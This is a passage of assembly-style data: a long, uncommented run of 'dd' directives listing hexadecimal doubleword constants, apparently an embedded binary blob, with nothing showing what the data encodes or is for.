65D33C01h, 402EF7D9h, 0B1A6C22Ch dd 6000C608h, 4E9093D6h, 6091AED4h, 4526100Bh, 0CA1E7A61h dd 10005DBEh, 0C072BB41h, 9D11003Dh, 91884964h, 0C838F7C9h dd 60F5AA1Dh, 24033842h, 447EF94h, 0C080114Ch, 0F2C7A826h dd 249F0E53h, 12607978h, 63DFBF7Ah, 0EFBD740Ah, 28042441h dd 7CC8173Eh, 325300A9h, 5F10C677h, 0DB0486E4h, 0E640E787h dd 27CD40C2h, 1092B077h, 0D50955DEh, 0C69F17A8h, 0F3D10014h dd 4E4D609Dh, 4500BFC4h, 9BAF413Dh, 946572EDh, 17378594h dd 0CCD810C0h, 81123DC0h, 0E11FAE9Fh, 0D3DF4974h, 984E003Ch dd 0FF17393Ah, 72CA129Dh, 0DA08206Ah, 1A00BE9Fh, 4E0D3944h dd 14C0871Bh, 942B82E7h, 0B0E4511h, 512AF5BFh, 0D591001Ch dd 3D814D2h, 0EE5A827h, 90005708h, 0D4596260h, 0C70C05D2h dd 230B166h, 0BABE1F08h, 6032051h, 0CFD51533h, 0D4F280DFh dd 1C14E0FBh, 44269EE7h, 41E498CFh, 739A8388h, 7208A477h dd 7D81C462h, 7B9147E0h, 0A4C90892h, 0CA0036ECh, 90F52286h dd 29A7BBh, 0A4A6E0A0h, 6A45B001h, 40954A12h, 590130B2h dd 14627FFAh, 887957h, 6058F5A3h, 3AE04506h, 380046B2h dd 0BF1C61BEh, 0D0A41830h, 0F55DC502h, 5092A6ECh, 779822D8h dd 99667225h, 0F428E878h, 4894CF85h, 0AAC06C14h, 810CDC65h dd 0E0703AC5h, 0A44ED1h, 84A90C55h, 788A69DAh, 90A2617Eh dd 0B2C02410h, 0E0C91604h dd 3B40C123h, 0D9666A51h, 0EEC3F30Bh, 0E0E54Fh, 6A04C67Ch dd 0EF394196h, 0A303773Fh, 0B6DE5CFDh, 8162F8F3h, 80487F13h dd 0D71F296Fh, 1443B163h, 0CB829675h, 0CEC2A88Dh, 0C04978Ah dd 99CF60C8h, 4028B468h, 6088D530h, 0C08E9601h, 6B3E4DAFh dd 62009822h, 0DE3F1385h, 0B7F8F3F6h, 904F58h, 0E8C071BBh dd 915045C2h, 20FA2C14h, 29C53B34h, 0F1D16618h, 1E88E649h dd 61E26BF4h, 6C389403h, 712E7E90h, 30C8624Bh, 9EB869Fh dd 0A2C8202Eh, 621CC431h, 0E30E2D86h, 5A18800Fh, 9E1C3B53h dd 0C33D42CCh, 49404074h, 7690DEh, 0F6EF7036h, 16F81AF5h dd 9CCF3200h, 546608C9h, 5957667h, 4F43BF38h, 7850F23Fh dd 402E4B03h, 8029D1D7h, 3D3B47h, 0F3B81060h, 3186F4E2h dd 792EE5ECh, 7C20D0CEh, 63A2F000h, 7375B5CCh, 0AF9E5C1Eh dd 981DE43Ch, 3DBF4F33h, 0BE6710C2h, 9C60985Eh, 1E02C95h dd 82294A5Ch, 0D9C1A01Eh, 0C015ECF0h, 9F2DD002h, 6067F8A7h dd 7F756204h, 5D9000D9h, 24ACDA7Dh, 0C30C8360h, 18FC0370h dd 36B3029Eh, 0C98A88C6h, 50B49843h, 0F4C94F83h, 442050AFh dd 0F9800DFCh, 2F08DD07h, 5C00F1C0h, 963C80Ch, 0E81EE50Ah dd 62C714E9h, 0FB1600DCh, 86451C02h, 0C1F91C95h, 0ECF1C082h dd 3B40C2D6h, 0CC6A3A26h, 0EE4028A9h, 496C122h, 2A1E837Bh dd 0CA688261h, 8060F93Ah, 3EF3C96Ah, 0D4985A68h, 7A5C919Fh dd 96193C32h, 29075003h, 501800B4h, 0FDE8826h, 20814A4Ah dd 91153F54h, 2DC65700h, 17D9E97Fh, 0CE40260h, 0BD0BE37Eh dd 6526946Eh, 0A56FFCD0h, 0F46C32h, 0E0E37657h, 43010B4Ch dd 0D20EC2E5h, 0AF8C18Ch, 60007642h, 0AD911D21h, 0B8B847E4h dd 387EBB04h, 94803A94h, 9742EE67h, 861C1C94h, 1AC01BF5h dd 0EF97E346h, 64D8B6DDh, 3B70516Ch, 913D0Ch, 0E96F23Ah dd 358F44Bh, 9F148A2Bh, 9908313h, 4313563Dh, 40520B0Ah dd 19126C0Dh, 7380246Ch, 0FBB39180h, 0A196C90Fh, 3DB024ECh dd 5E102088h, 3A108AB6h, 1C3C927Dh, 384DF020h, 68E005C3h dd 81B90511h, 3D87EB7Ah, 0DE384470h, 68AC9E0Bh, 8CC20037h dd 9CC9FD47h, 7C4880F8h, 0D367F9C7h, 9A921800h, 6D6CA67Ah dd 258BF627h, 0E09ABF3Bh, 2C90D498h, 0A03DB202h, 0EE19FF1Ch dd 65CB44F4h, 0AE43F500h, 5C8B6012h, 6CCD03ADh, 0E1EBF871h dd 4B0AC6B0h, 443FB72Dh, 0B0BEE8A8h, 5C604440h, 2F386209h dd 20C4641Eh, 0EAEC1598h, 38EF470Dh, 269299EDh, 1864D7F7h dd 75AD4580h, 84FA22h, 31A58B33h, 0FE9EF5CCh, 1DB033Ch dd 0CE392681h, 0C2CF795h, 83122058h, 0F3004E9h, 0D5848806h dd 0A4372900h, 0E6F2EC0Eh, 1871C9h, 4D40C794h, 0C8915B63h dd 6088154Bh, 0DB60038h, 2D40AA93h, 584F6B94h, 0EF24DC43h dd 431BB9A4h, 3404E4FCh, 0C010BB60h, 0C9BF9914h, 0ABADF402h dd 561FEF0Bh, 0A81B6094h, 0DC015FFBh, 0DD5BFDD6h, 7AF92DA6h dd 4D3538C4h, 1C5E50E5h, 3346C00Ch, 4341F806h, 640BEA2Ch dd 222AE451h, 0C40812D0h, 30327A16h, 101A11D4h, 1BA9BEh dd 96DDC10Dh, 0D3CC8CD5h, 0E91ECF04h, 813BAF4h, 0E4A51C6Ch dd 88710774h, 0A023F5C2h, 267BB6D3h, 6BF44053h, 16E80031h dd 0C07D078Fh, 87358539h, 7CFCD130h, 64AE3700h, 761CB2B6h dd 628001C6h, 0C0C83C0Ah, 3A24706Ah, 9F666809h, 867499AAh dd 1D80230Ch, 891B5E0h, 84EF0C3Bh, 384230B2h, 9302E622h dd 8F7B9D05h, 4450D892h, 905CCF1Ch, 7069C424h, 1A1FE4ACh dd 0A444AF25h, 7400E179h, 43DE384Fh, 0AE6771h, 6B855F0Ch dd 1814476Ch, 5FA4D80h, 9F60680Bh, 626802ACh, 0E0D41380h dd 0ECC4A7h, 0C011244h, 8F171E20h, 5D2CC590h, 71F2641h dd 940934D3h, 20C45Bh, 0D183530Dh, 376C5A8h, 0CED46100h dd 0EEECD659h, 0A4FCB91Dh, 0C1FA0938h, 28136C6Eh, 18327C15h dd 0BDC5200Eh, 0CE00BF17h, 19127963h, 52FBD6h, 0CA1F90C9h dd 0A99DF49Ah, 949C2098h, 56720F40h, 0C55700D1h, 27139CA2h dd 7D00883Ah, 443860CEh, 1EBA225Fh, 455CC38Dh, 8021E56Ch dd 0B258F8E8h, 3C103300h, 0BD26B59Bh, 1E5A1D61h, 90EC4011h dd 890557AEh, 57C7458h, 0C620BC5Fh, 7DBB51C0h, 90A45AC4h dd 0E2846000h, 0BF46D500h, 6C6148F8h, 0CC11C9E1h, 1322F418h dd 3E447E00h, 0D8614A47h, 9BCE000Bh, 1E3C3626h, 5E0012C6h dd 253AE151h, 177D684Dh, 326B72CAh, 601994E8h, 79257E08h dd 5244857h, 4094B98Ah, 0E1A4D6A0h, 618C3B12h, 6B0FE4F3h dd 38E21583h, 0B320C2C8h, 2AE24F5h, 0CA8BD0D3h, 54440723h dd 811DB23Fh, 0E2C67EC1h, 49A63C25h, 206E2D74h, 6A533B01h dd 0C3F3A966h, 94802478h, 5A0EA31Bh, 98A14E07h, 62519F7Ch dd 0DDF873C4h, 7264DC54h, 76C8D1h, 58FDCB81h, 386B4F77h dd 0B0B04280h, 0CF44B456h, 8771E1BFh, 2730F1A1h, 0BCEC91E6h dd 0FC94B044h, 0F3F1C1BDh, 0BF010032h, 0B5FEC632h, 36D820D2h dd 28F88526h, 39F3B100h, 439F6768h, 908721A9h, 0F6BE021Bh dd 0E49ACE2Ah, 3FA10028h, 402D325Fh, 1E0777DAh, 580AA80Ch dd 6A55E282h, 258DEECh, 27EF354Dh, 85570A4h, 47EE09B9h dd 0E2008C65h, 13A7ACBFh, 9B24005Ch, 2D3DD6F1h, 944E8157h dd 183B9881h, 816B3811h, 0CADD3739h, 287CD4E5h, 742073E2h dd 58A45Eh, 0B4B1D87Bh, 40CA6443h, 1CD87A4Eh, 2FC0C173h dd 231C2BF7h, 5DA3002Ch, 3B291534h, 70652ECEh, 0E611D0h dd 9B26E0BFh, 5BFFB84Ah, 0FA0823E5h, 18CF09ECh, 94D814h dd 565FEB42h, 66C39602h, 0F331EF01h, 624757D9h, 830F2829h dd 1A40B306h, 0F1FF89F2h, 3A9B1501h, 0E5BBA453h, 0FD0430h dd 0E0369E0Bh, 29A7CF83h, 0DBFAFB03h, 0B8CD2C84h, 0BCC946h dd 0F30DA87Ah, 17DDE25Fh, 0F9C6C00h, 7B882EA5h, 0F9727DD7h dd 78C4A1A5h, 0EE4C4416h, 702FB503h, 9F2DF054h, 5A9C175Eh dd 64610552h, 8214FDE2h, 0F61D1C2Ah, 57456004h, 96000EFCh dd 836AC9EDh, 601148B0h, 60DA21C5h, 300945E5h, 7141461Dh dd 0A2DFC0FCh, 0C8B3C630h, 74E2BF16h, 5F07E700h, 0CD2BB357h dd 17AFC000h, 0A54C286h, 9C60E9ACh, 7DE60038h, 3E529F0Dh dd 777C37ABh, 0A6876E0Fh, 666720D6h, 1D27ADBEh, 871D21F7h dd 107D42A7h, 0DC8E5F12h, 39B4C000h, 0B6EF3A78h, 0B8AC0790h dd 503E74E6h, 664C9F09h, 2D8DE800h, 171F6860h, 0F0C50973h dd 5C566B48h, 0DD100151h, 51004655h, 0BDFABE0Fh, 7011AA09h dd 3F8001EAh, 36B61876h, 93B07E44h, 8E90FA9h, 8B4152Ah dd 1D226009h, 34CA5818h, 9FD54401h, 0C49343C7h, 6301506Ch dd 86F506Ah, 1C6CEAF1h, 14458498h, 1C72EDF1h, 2843C80Ah dd 55710BF0h, 0EE08B8C5h, 2B02BC4Ch, 530B138h, 10BF3BC0h dd 0C6833B0Eh, 62545EC9h, 98C84A0Ch, 4179005Ah, 3961F65Fh dd 56008BDBh, 0F40692B5h, 95699Bh, 5CB115CAh, 671C34EEh dd 9C85F4Ch, 0A0076272h, 0EF2A7188h, 0DEFE23h, 5145A904h dd 1FB08E8Bh, 9CA2607Eh, 0CBE00801h, 1229A61Dh, 0A53FA207h dd 76603420h, 0FF4212FEh, 4A00F831h, 0FA0B488h, 0F9AF7123h dd 4052C9E4h, 55A7B5DAh, 0F5C00044h, 3EBF1DDDh, 9E002612h dd 49771BAEh, 0F834B1C8h, 0E4D2021Fh, 123817C9h, 0CB40B0D6h dd 7963572Eh, 0FE2900A0h, 0E8259115h, 0B600C78Eh, 0DE6BDCEh dd 0FAD74895h, 90D5E896h dd 41490098h, 57786B11h, 3E4CEC0Ch, 1FF80012h, 0C54CADEDh dd 7F700060h, 0DCEF597Dh, 0B338CDE0h, 0A5BE84CBh, 0ACA1C338h dd 0D02046DDh, 50A590A6h, 1FFBA437h, 0EA7CBA1h, 64E2D339h dd 510508D9h, 34A40810h, 64E229F8h, 2E5A740Fh, 5EE80820h dd 20FEE55h, 29AF26A5h, 5C4431D8h, 0ED5C3718h, 7712A7D0h dd 46FC612Dh, 0EAE42C7Eh, 47E70900h, 224EE536h, 1794009Fh dd 9CAFB3BEh, 9D988E64h, 0EC61712Ch, 216ADA40h, 0FB251770h dd 8EA891C0h, 0D7689469h, 1F6960A8h, 2C19CD08h, 48C0EC1Dh dd 88690698h, 0B7A2D2h, 92E36A38h, 739A2DD9h, 7188744Ah dd 0A21E120Ch, 8D80024h, 7BEC6168h, 306009BDh, 3854C713h dd 22732D02h, 58C6EFh, 0EAF7CC0Dh, 0EBF88425h, 8E263C39h dd 68AF1A32h, 0A0908E13h, 0DC7FFC80h, 48F08588h, 0CFB708A0h dd 44259D4Eh, 0F6074400h, 9C0243D0h, 6851A5F4h, 4C8B5580h dd 0D69005h, 0B50B7CEBh, 0BF51D2EFh, 6C095816h, 5EBDC020h dd 979D00F9h, 86F1E7D1h, 820E902Ah, 8491A0E0h, 0D4E29524h dd 0F7301C00h, 0B348AC71h, 535F7000h, 6BD4E152h, 2DB7386h dd 7E311007h, 0A051CE2Eh, 94D03E00h, 1B4659Fh, 0B0C9A3A2h dd 78F4D5D7h, 93A589F4h, 9891A754h, 0DC28B96Dh, 7DD6AC81h dd 0D08C210Fh, 150166E0h, 0DDCE4D42h, 486E80E5h, 1E95FAF0h dd 0F8728BF8h, 8CE44A08h, 6D146880h, 96F81399h, 49140408h dd 28967082h, 4430AC84h, 0F4E89171h, 110B0A1Fh, 122B26CBh dd 0E8608900h, 3BF7C641h, 0D8803619h, 4209EF13h, 0B41F07D4h dd 0CB85234Dh, 0DC30FA43h, 275737EEh, 2464E899h, 180B1A08h dd 20C58BC4h, 0F5E27058h, 90C1F66Bh, 0AD7D74h, 45C03AE0h dd 0A2318375h, 6BB97309h, 6E308054h, 91193C2Ah, 0AC2410h dd 0F412FD55h, 1823260h, 43EEC508h, 0ABC0EC72h, 0B4C29DD7h dd 3B4AD201h, 12DC3093h, 0C514CCh, 36B0B32Dh, 452B6113h dd 0DDD75201h, 6D539F86h, 0B89032E0h, 1E6701D0h, 566612C4h dd 81307CB9h, 52EB5D80h, 144095E8h, 0D4EA1D14h, 0F931BD80h dd 7A1E60C0h, 0D20BC9E1h, 1D077D90h, 0F88804ADh, 3008414Ch dd 29C2E050h, 0E07BA7BFh, 97C705F3h, 29412820h, 331CE8D0h dd 7F44AF63h, 30F85D88h, 3EBEA081h, 39F06F6Ah, 1A6B0BE8h dd 0C098976h, 612DB053h, 0AD12C1BCh, 5547EE02h, 0D4057096h dd 0E4F6C10Ah, 1384F4h, 7B28E0BEh, 6DE1291Ah, 5A801894h dd 0C365CB3Ch, 61F700B5h, 0E5CD9A85h, 0D81FCE7Ah, 40966ECFh dd 0D383F480h, 12950093h, 0D615B64Fh, 1A7773C9h, 71D26703h dd 1B0CAC7h, 7C164A18h, 20247D17h, 0B163C114h, 0FEF3B519h dd 11942830h, 4D6A0024h, 1A2BC35Eh, 0C00E8475h, 418D3BA2h dd 18DEF07Fh, 80E8D0h, 866A5BC7h, 78FFB57Ah, 8774CB3Dh dd 9D760305h, 778A146h, 22AE6D1Ch, 0FD155017h, 68C04AC6h dd 0EFE66BB3h, 2C400567h, 81B2FA3Dh, 2049F4C8h, 0C830C6FCh dd 98B7A9BEh, 7639C1D3h, 0CF921E6Bh, 0C99C1001h, 0C3FD162Eh dd 0F48E21BFh, 0B24F0357h, 66F846E0h, 39021829h, 33EBBC23h dd 374490F1h, 0F9A91EACh, 1851007Ch, 6216F781h, 0A2E3CD02h dd 0AE4B1D64h, 7C85878Ch, 223B4C70h, 72CB18B2h, 11B6A01Ah dd 0B7099A06h, 2A318299h, 4660CCC7h, 0DECA019Dh, 14C9CEC6h dd 0CD8E209Eh, 0CF695BEDh, 890C93A0h, 0BC5ACB09h, 0B52780CFh dd 8DE760h, 52150B5Dh, 53325614h, 7558D563h, 41C6EEh, 303BA4B7h dd 3A2240ABh, 898BE100h, 0FA4B6CBEh, 16A30A1Dh, 196C4D23h dd 20C506Bh, 4922212Bh, 166A104Fh, 26CE275h, 55B112C9h dd 14A45032h, 10FF404Ch, 0A105A851h, 0E11062D8h, 18544B99h dd 0E30A1494h, 8164D9Bh, 0B5D0FD01h, 688A7B6Ch, 2464ED09h dd 0F6C400A7h, 0AE8DFE80h, 25602100h, 0CAB76BA8h, 0FC42E9FAh dd 2B2F20C2h, 0BE009B27h, 88AEC62h, 1631B7FBh, 73F37FAh dd 200EA0C6h, 67E56BE7h, 41C92000h, 0ECFFAE26h, 84E00295h dd 0F37CFDD6h, 0E2009C44h, 946C1178h, 0A1AA9A38h, 8015D4F0h dd 129F1047h, 13040477h, 96ED2EA2h, 289DA481h, 0C680E1BBh dd 74879A8Eh, 990391C7h, 0D3C162BDh, 81E0D0B9h, 0E288A0FBh dd 190500C8h, 285EC95h, 93077859h, 0EF9FD535h, 14557210h dd 0E66A0020h, 8CED7F86h, 957B6DFDh, 6D19C22Eh, 6885CB03h dd 9D78E8EAh, 8AA40C0Dh, 0EDB15EFDh, 8900D4A4h, 78329DD3h dd 610D4569h, 0BFF6C86Bh, 87F82406h, 5D71300h, 27BE4DDh dd 0F8E7549Dh, 0B8CF55FCh, 7C2993E0h, 0E1B30CC1h, 8119D2D0h dd 8E9A302h, 0A2ADD3C7h, 0AE2A9DA4h, 0C686A088h, 445AB3h dd 5BCB08BEh, 54D5ABFAh, 5D0CF00h, 0FCB911BFh, 76B9C03Bh dd 1AE43502h, 52373909h, 17280075h, 0FF09E92h, 0ECA0A94h dd 7BCB68E0h, 823D675Fh, 10FBB0FCh, 97F7973h, 9C030B18h dd 25CE6C80h, 0C1694D1h, 6C02AECCh, 80579DCBh, 0B14DEC3h dd 0ED3D00A4h, 244B6A7Ah, 209E1D6h, 84A2DA6Bh, 5E871Ch dd 9204489Ch, 9400AA74h, 0D7F3BDE7h, 0D70CB77h, 0DFF4AED4h dd 0AFDED018h, 85D3C000h, 352EA19Fh, 49D161DAh, 32D2D5C7h dd 0CDFE18D4h, 0D3A819h, 0EB325B41h, 0F377BA5Ah, 0A929B764h dd 43BD1180h, 7B6EC0CAh, 9D16E88Ch, 6BCCC607h, 0C953BA83h dd 8A3101B5h, 0D0BC489Fh, 366AC827h, 0F367F40Ch, 0BF21B9h dd 0D58597EAh, 4673D7C6h, 87E9D01h, 145174E2h, 88C8E820h dd 47006C76h, 3D6BFB75h, 2D24C9h, 0D1DD1BA4h, 0D38539BAh dd 4C4C9548h, 1075C84Ch, 0F3760857h, 4E7880A2h, 7B92B9EFh dd 0A1534800h, 50BAB5C7h, 36380030h, 6FCEFF98h, 81327E15h dd 0C04D5059h, 0DA7D58h, 7B80C243h, 101973CBh, 9D241200h dd 0D78AA1FDh, 37F49075h, 40B9D5CCh, 0A51310FBh, 3356C3Dh dd 7C0C7FB2h, 88C1C07Eh, 0F08C985Ch, 4ECE655h, 68BDC6A2h dd 2CECC875h, 0DE4C40h, 85D53E9Bh, 129E7ED2h, 0DEDA31Eh dd 3686BB03h, 8403E50Bh, 12B20F55h, 40209DE9h, 0B98D5280h dd 2800B330h, 19121C1h, 0C868BCBh, 1A31CEC7h, 0AE882531h dd 5D40053h, 42C939AAh, 0EBEA222Fh, 905D7601h, 0F399CC61h dd 214DA0A6h, 0FE3500D0h, 0CD10240Eh, 0F0857326h, 0DC08EB13h dd 6153425Ch, 219D6A21h, 0A5577180h, 0C5F8B03Dh, 15E1FD01h dd 0AB702995h, 8AB6C860h, 34444066h, 0B4CE54FCh, 86E839A7h dd 4FC70281h, 91119A0Dh, 377BCCA0h, 0C449A3C9h, 0ED2C889Ch dd 0B8615260h, 0BF09A08h, 0D8EAFAECh, 17FC3C31h, 39C246h dd 82ADAEE8h, 113DED0Eh, 78676301h, 31973A74h, 635D0F7h dd 31C460FDh, 0A0ACC5F4h, 75801B00h, 20396F23h, 1C610105h dd 46D2558Bh, 0BB52F07Ch, 399B91DEh, 9A0CC0B1h, 26D0CAE9h dd 0AE3DC05Ch, 5F05DB8Fh, 0F42D43B3h, 35700C8h, 2AB44B60h dd 98FD8D95h, 0C68A8094h, 95F70E00h, 3F07E75Ah, 12B100ECh dd 5C249158h, 6C0B1029h, 0CB4C83E3h, 0C166C0A8h, 0DDF50434h dd 80DEB5D5h, 0D2A08304h, 1E9DA118h, 43E7B9h, 2B22E15Fh dd 0E996D334h, 2A3D4E04h, 5C82B8B2h, 23D8E006h, 4CFD0117h dd 0FEFAC76h, 787C6275h, 9FDDA9C0h, 1A2CEE3h, 936791A4h dd 0F45763FDh, 9473B2EAh, 0BFAA0A00h, 6F69D414h, 8F3584Dh dd 0E186ED18h, 0DF7D3B6Ah, 0A6A2C039h, 0C5007475h, 0CB058AFh dd 27E80149h, 9D4CBDB2h, 4DC1801Dh, 0F2F681A9h, 509E3F79h dd 819D713h dd 8A80C198h, 107E0A34h, 1EB200A5h, 0B43FB894h, 0CE0093F3h dd 552DEA6Dh, 0F154A9h, 95C4DB45h, 121722E7h, 76B153Ah dd 9A2CDCE9h, 8EF37FC0h, 19970F0Bh, 38E0C480h, 43585A2h dd 0E3A45300h, 0E8FDD498h, 0A5DD0D9Ch, 0C0A9249Dh, 7B72E26Ah dd 2ADC8100h, 619F351Ah, 0A0F0226h, 98D27E8Ah, 0D84F6469h dd 211D4B75h, 55C73E0h, 37552607h, 0A889EEC0h, 816D00D8h dd 34626BC7h, 0FD09B535h, 27BCF378h, 46C04D2Ch, 1C044AEh dd 41C3EFDAh, 8BBACAC7h, 13A3B721h, 44D4E2D8h, 993D09E0h dd 0DC8939BCh, 40AFC804h, 5D2916F4h, 0FEE90F01h, 74223F55h dd 0EC65B2D1h, 683BDC4h, 327100CBh, 0D6923085h, 0C114E7B4h dd 3BB414C0h, 66610083h, 0F77571CAh, 2090CFh, 354FEAD5h dd 485E7CFFh, 21DF5618h, 0BFED10h, 264D5460h, 0A5D814EBh dd 0C99FB719h, 0F7ED69h, 2D407D91h, 45912BDDh, 29C8491Eh dd 984CC40Bh, 47E4C8h, 0D9146719h, 5925BBC8h, 8887A80Eh dd 4271C00Bh, 8DB80Eh, 0CE3B5C19h, 0D28ED314h, 94C43950h dd 449A3401h, 0CBD00175h, 0BC415E9h, 0EE3C13B5h, 57F432A7h dd 92F58D80h, 877E540Ch, 30B1E52Ch, 70581D02h, 5C44FDh dd 8CB08978h, 42190AFFh, 382AA607h, 0BA60F8C7h, 597A473h dd 0F375937Ch, 0A3D440BBh, 0EC5BEBFEh, 6C1DDB00h, 0D8170CE7h dd 0BBAD2449h, 290800A4h, 4D27476Bh, 0D0EFDF26h, 0FA9F4460h dd 50F3F270h, 0D9EFF0h, 4F5868EEh, 9824931Ch, 0B259B30Fh dd 577FA02Eh, 40F9B8h, 93E1A343h, 7475576h, 0BC58ED2Ah dd 0DD6B5B01h, 0C77C3425h, 0E9FBFC8h, 21B3848Bh, 50CB3B00h dd 7212DA75h, 40427DBCh, 72F3B21Ah, 89D00044h, 0BF9943AFh dd 35885BECh, 7AF42Ah, 4651954Eh, 0EB8230F5h, 0DB3FC773h dd 97B78DDAh, 6442D9BCh, 0E6E320BAh, 5C00A559h, 8C8883Ch dd 2E5EBBEAh, 40089BB7h, 9949D775h, 2298A850h, 79605131h dd 4980A6F3h, 0A21E016h, 4D015371h, 0A97EEC5Fh, 0E300C66h dd 76590B11h, 6891CFC7h, 4329Eh, 3A5494B8h, 7453F7Ch, 2B169DC7h dd 0A23780EFh, 742CE33Bh, 0D14084F3h, 0FC2AD73h, 60A8E51Ch dd 0F26819E6h, 54E65A00h, 9B71FC39h, 5EA6004Dh, 1494D458h dd 56043D76h, 6D7E4BD9h, 0A9905497h, 4866B605h, 4DCEECB7h dd 0CEA429E0h, 0B27E505Dh, 9CCAA229h, 949CCB00h, 1EEF34C6h dd 0C0034B7Bh, 0D23ED70Dh, 64B85373h, 9300FCB9h, 28C042D9h dd 8041FF1Eh, 8E10B5D3h, 29C0C5FDh, 0A1365323h, 0CBD5001Dh dd 0FC2A3096h, 603969BAh, 557505CAh, 985D2236h, 0E4274812h dd 10E430C4h, 6AC8267Dh, 0D23F8598h, 0B4108711h, 94B704AFh dd 2C6004C9h, 992284B0h, 0CB1498D5h, 0B414BF28h, 24AF5D00h dd 632C2309h, 2D7598h, 860AB1CEh, 9D34CDB5h, 5D99C01h dd 0C8530E87h, 62BCA5F4h, 8C52B04Ch, 80356A23h, 0AC4809h dd 396BDA89h, 0AEE59899h, 0C3941B48h, 0A0917880h, 1F701023h dd 80A438E1h, 0AE849030h, 7302C574h, 9D1AD712h, 72B60027h dd 86091E7Ah, 80DBF1E9h, 0EB639E8Ch, 496F0095h, 0E24BE405h dd 0D6FB161Eh, 30FC873h, 0D880921Ch, 86BD072h, 3798C987h dd 15210582h, 118040A3h, 0B67214E1h, 8E189C95h, 0C616D880h dd 356C7F04h, 8B813AE3h, 0D1F6C775h, 7D65002Ch, 0D774EC9Ah dd 3E4CBF7Bh, 0CBC040B8h, 0CD601896h, 3C486D20h, 870B4D8Eh dd 4013D4A9h, 0C29B2000h, 6CF109Ch, 74E803F8h, 16364A6Eh dd 2381881Dh, 100151F5h, 70750C3Fh, 644FF088h, 0D42C10A5h dd 0B82D3C6Fh, 7534B300h, 80BF3C9Fh, 4EF0E607h, 4780C7B0h dd 0D1677h, 38D0C276h, 269D5650h, 3464BCA8h, 30ED9200h dd 0F9C8C0EAh, 40F40195h, 0F5E78148h, 41D86074h, 0A0B5D928h dd 0A1D0FC30h, 144CBA72h, 0B0064850h, 0C9119CD0h, 0D2B700B3h dd 3ECC1D7h, 24E7B4Ch, 0EE9718A1h, 4066D02Ch, 43928F00h dd 3A8031C6h, 7C6B07E3h, 0CB70ACB2h, 2C9DD687h, 0EB0096B1h dd 0C15F68A3h, 2EDF50D9h, 16B92453h, 0A1DF0145h, 45ADA7F6h dd 1C3183B8h, 227C3948h, 4E6B004Bh, 81945429h, 0CB0FDD76h dd 49CF9E64h, 0F4D70004h, 1EFA92CDh, 41FD358Ch, 0AD68942Bh dd 41D5E103h, 410C5508h, 801F9D14h, 8270DC69h, 0F95A67h dd 0E6BC599h, 59D1333Eh, 0EC98DB68h, 20AB3209h, 1ACF45DCh dd 8D5B0A7Eh, 1F908E7Fh, 0D02FC050h, 792141D7h, 0A0B06303h dd 0AA2848h, 97773118h, 0BA834FECh, 39124A02h, 40853AD1h dd 26D849C4h, 1CE440h, 387FD04Eh, 7003F45h, 0A5189D0Ch dd 3DE664Dh, 5CB20E52h, 403DFC61h, 10ACA0F6h, 41E1EDC0h dd 8067D1A8h, 3315AB18h, 61F9D0FDh, 0CB78A852h, 0F439002Ch dd 19CD8094h, 0E0898138h, 0D3FD7530h, 0E5AF033Bh, 1A6FCA0Dh dd 2180E820h, 1508A963h, 0C89C4799h, 89002271h, 0B188ADD8h dd 5ABC402Eh, 0C45F7008h, 9AB7F03Eh, 149E08B0h, 9EB9C6C0h dd 430A001Bh, 0AD5E1776h, 25BD34Dh, 449CA030h, 29AC0012h dd 5157D2C9h, 161EC706h, 7D44CAFEh, 78A23A5Ch, 6766D00h dd 6C029F10h, 0D4100090h, 7F00A435h, 941896BDh, 0A89027D5h dd 862D0207h, 1DF23B99h, 1CA8705Ch, 0E4CD31D3h, 38A000ACh dd 0D02A597Bh, 6F630501h, 5D49C97Eh, 7615CC24h, 66E61462h dd 0CFE7201Eh, 0E80092B1h, 0C5D5A7E3h, 6210029h, 0F7530915h dd 0D1049CB2h, 4E22EE2Eh, 5040B4CDh, 80A8CB48h, 9D7865D1h dd 0C8D91830h, 1F43B6Ch, 0DACEF755h, 0BBC5C850h, 7014A618h dd 64046424h, 2A4749EEh, 0D37CB0EDh, 0D21939FAh, 5E08F2CBh dd 0E58B218Eh, 35556162h, 9400E444h, 0C22F5C12h, 7C310D62h dd 0D4584C25h, 189CB681h, 7848FF74h, 0CE49105Ch, 9172209h dd 2E54C882h, 104A6C03h, 340410h, 0A9B0B4Bh, 3226375h dd 7D1F973Fh, 0A097088Ch, 42FB2735h, 0F2009670h, 258FD87Eh dd 382CFC84h, 0F63B2B87h, 26DEE683h, 0FDF0EF05h, 921E2ECBh dd 8D8B1C07h, 0E6B08381h, 0E0B3A8BFh, 0D022008Ah, 5BEA6074h dd 7200F443h, 7AD26410h, 6FCCB5h, 4174B711h, 263C5609h dd 0CD658E0Fh, 3527E06Ch, 46713A9h, 384881D9h, 0B7CEC02Bh dd 17DA653h, 345DF60Ch, 0FB3170h, 64B24C19h, 9974EBD3h dd 7718FA61h, 76D06749h, 38E300CDh, 0B35AC241h, 0F300F808h dd 774E8303h, 302D8F2h, 19FD073Ah, 4800C944h, 0F3859B11h dd 76B76EBh, 5B36138Fh, 6FA780A8h, 0FA39210Dh, 0D35C9BFDh dd 0C14CE079h, 77DD0803h, 0C82634Bh, 8047AD06h, 66BF9286h dd 8EF50014h, 0E7D31DCEh, 7160315Dh, 824DD0C9h, 45A60656h dd 19668D5Ch, 1D082B07h, 61402F32h, 99CE16h, 0FD5E18Bh dd 74FBAEFAh, 5D350E00h, 0DA138D78h, 0F207781Ch, 4711C184h dd 868328E8h, 0CE583480h, 0CC760F58h, 5CE02DE7h, 55E1AC6Eh dd 70C84400h, 455E4C24h, 0D2BA0039h, 320990B2h, 3A60B530h dd 17232719h, 9F7CE6h, 2B912EC4h, 5C99DACAh, 14774500h dd 944B371Fh, 0A3ED0071h, 39B0CEC8h, 3D404F04h, 0B2C700A9h dd 3A47430Fh, 0EFF0B661h, 0E2E8B3Ch, 0DE49BEh, 13B1AA24h dd 0FC9A4839h, 0ACDCB700h, 0ED9B373Dh, 501E6FFAh, 11033330h dd 64BCAF5h, 8467CC28h, 1308188Fh, 419B65h, 0A8F52645h dd 7E60E897h, 0BD14C068h, 394EAACh, 4BE765Bh, 0A00121AFh dd 0AB3940DFh, 818324B1h, 4350B887h, 0D4DE5800h, 5BEB6F5Ah dd 40683945h dd 0B32D18E0h, 0A43DBADCh, 28891E32h, 0A04D9E3Ch, 11CBCC1Dh dd 158A829Ch, 9AA481A8h, 76F597B7h, 0B59B4840h, 5C108451h dd 0DD1F341Eh, 0C8A0588Dh, 366252B6h, 363920E8h, 0C076CC21h dd 0C7AB4E9Ch, 467ACF1Eh, 7B14C4C3h, 54681811h, 5D41F130h dd 0A4059FF4h, 17313C24h, 51A248C0h, 64E903B6h, 2E3210E1h dd 5BC2C900h, 2C531129h, 